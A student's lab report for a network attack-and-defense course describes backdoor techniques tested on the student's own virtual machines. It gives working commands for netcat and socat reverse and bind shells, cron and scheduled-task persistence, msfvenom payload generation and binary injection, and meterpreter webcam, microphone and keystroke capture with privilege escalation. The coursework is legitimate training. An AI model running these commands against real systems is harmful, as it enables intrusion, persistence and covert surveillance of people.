20232427 2025-2026-1 《网络与系统攻防技术》实验二实验报告
一、实验目的
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
二、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
钓鱼邮件,在网络上下载不明文件
(2)例举你知道的后门如何启动起来(win及linux)的方式?
注册表启动,定时启动。后门脚本放在系统启动目录中,开机自启动
(3)Meterpreter有哪些给你映像深刻的功能?
远程桌面控制,操作文件
(4)如何发现自己有系统有没有被安装后门?
检查异常进程,查看启动项,检测网络流量,借助安全工具
三.实验内容
实验环境准备
主机(window11),ipv4地址172.16.216.251,关闭防火墙
(后实验环境变动,主机ipv4地址变为 192.168.1.104)
靶机(kali Linux)IP地址192.168.247.128


连通性测试:

任务一:使用 netcat 获取主机操作 Shell,cron 启动任务
Windows端安装ncat.rar,解压到D:\VM and Kali\ncat
Kali端自带nact
1.Windows获取Kali的Shell
在cmd中,切换到nact目录,输入ncat.exe -l -p 8888,启动监听
在kali中断输入nc 172.16.216.251 1329 -e /bin/sh,执行反向链接命令

Cmd输入ls查看目录,pwd查看当前路径

正常返回,乱码的原因应该是kali中是中文目录名

2.Kali获取Windows的Shell
Kali的IP地址:192.168.247.128
linux运行监听指令nc -l -p 4444
Windows反弹连接Linux输入.\ncat.exe -e cmd.exe 192.168.247.128 4444

3.虚拟机中启动cron并且在主机端监听
编辑 cron 任务:
crontab -e

添加定时任务
*/1 * * * * /bin/nc 192.168.1.104 4444 -e /bin/bash
按Esc,输入:wq保存退出

每1分钟向windows发送一次反向连接
验证:Windows 端启动ncat -l -p 4444,等待 1分钟内是否自动获取到 Shell

任务二:使用socat获取主机操作shell,任务计划启动
Windows端安装socat.rar,解压到D:\VM and Kali\socat
Kali端自带socat
1.Windows获取Kali的Shell
kali开放4444端口socat tcp-listen:4444 system:bash,pty,stderr
windows连接kali虚拟机,ip地址为linux的地址socat.exe - tcp:192.168.247.128:4444。成功获取终端并用命令行验证。

2.Kali获取Windows的Shell
Windows开放4444端口,socat.exetcp-listen:4444 exec:cmd.exe,pty,stderr
Kali连接Windows获取终端,socat - tcp:192.168.1.104:4444。验证。


2.Windows下任务计划启动socat
打开任务计划程序:Win+R输入taskschd.msc

点击 "创建基本任务",名称设为20232427socat_auto

触发器选择 "一次",时间设置在几分钟后

操作选择 "启动程序",程序路径选择socat.exe,参数填写:
Plaintext tcp-listen:4444 exec:cmd.exe,pty,stderr

点击 "确定",完成创建

验证:等待到设定好的时间段,在 Kali 端执行socat -tcp:192.168.1.104:4444测试是否能连接

任务三:使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
1.生成 Windows 后门,在 Kali 终端执行:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=4444 -f exe > 20232427_backdoor.exe

2.传输后门到 Windows
Windows 端准备接收:
ncat.exe -l -p 4444 > 20232427_backdoor.exe

Kali 端发送文件:
nc 192.168.1.104 4444 < 20232427_backdoor.exe

传输成功
3.启动MSF监听
在linux上进入 MSF 控制台:msfconsole

配置监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.247.128
set LPORT 4444
Exploit

运行后门:在 Windows 端双击20232427_backdoor.exe(需临时关闭杀毒软件)
验证:Kali 端 MSF 控制台显示Meterpreter session 1 opened,输入sysinfo测试

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音 频、摄像头、击键记录等内容的后门,并尝试提权
获取音频:record_mic -d 10
录制10秒音频,音频文件会保存在 Kali 的当前目录

获取摄像头画面:
webcam_snap 拍摄一张照片
webcam_stream 实时摄像头流(按Ctrl+C停止)


获取击键记录:
keyscan_start 开始记录(我是张耀中qweasd)
keyscan_dump 查看记录
keyscan_stop 停止记录

提权尝试:
getsystem 自动提权,若失败,尝试迁移进程后再提权
ps 查看进程列表

任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.在共享文件夹中新加入一个pwn1,改名为pwn20232427_2
通过代码生成新的带后门文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=4444 -x ./pwn20232427_2 -f elf > 20232427_pwn_backdoor

2.为文件赋予可执行权限
sudo chmod a+x 20232427_pwn_backdoor
ls -l 20232427_pwn_backdoor # 验证权限,开头显示"-rwxr-xr-x"即成功

3.另开一个kali终端,启动msfconsole并配置监听,等待后门触发连接
msfconsole
use exploit/multi/handler
set payload linux/x86/shell/reverse_tcp
set LHOST 192.168.247.128
set LPORT 4444
exploit

在原先的shell中运行文件./20232427_pwn_backdoor。再在新的shell中,输入dir,验证有效性


四、问题及解决方案
1.Kali获取Windows的Shell无法建立稳定连接

火绒安全软件拦截

将ncat.exe加入信任区,关闭僵尸网络防护,问题解决
五、心得体会
通过本次后门原理与实践,我对漏洞利用和后门技术有了更实操的认知。从配置环境、生成带后门的程序,到 MSF 监听获取反弹 Shell,每一步都需精准操作,尤其是 IP、端口参数的匹配和系统权限的设置,任何细节失误都会导致实验失败,这让我深刻体会到 “细节决定成败” 的重要性。
实验中也感受到网络安全的双刃剑属性:后门技术既能用于合法渗透测试,也可能被恶意利用危害系统安全。这让我进一步明确,作为学习者需坚守安全伦理,仅将技术用于合规场景,同时重视系统防护措施的重要性。
此外,解决环境配置、连接失败等问题的过程,不仅提升了我的问题排查能力,也让我学会融会贯通前后实验的知识,为后续深入学习网络攻防技术打下了坚实基础。

浙公网安备 33010602011771号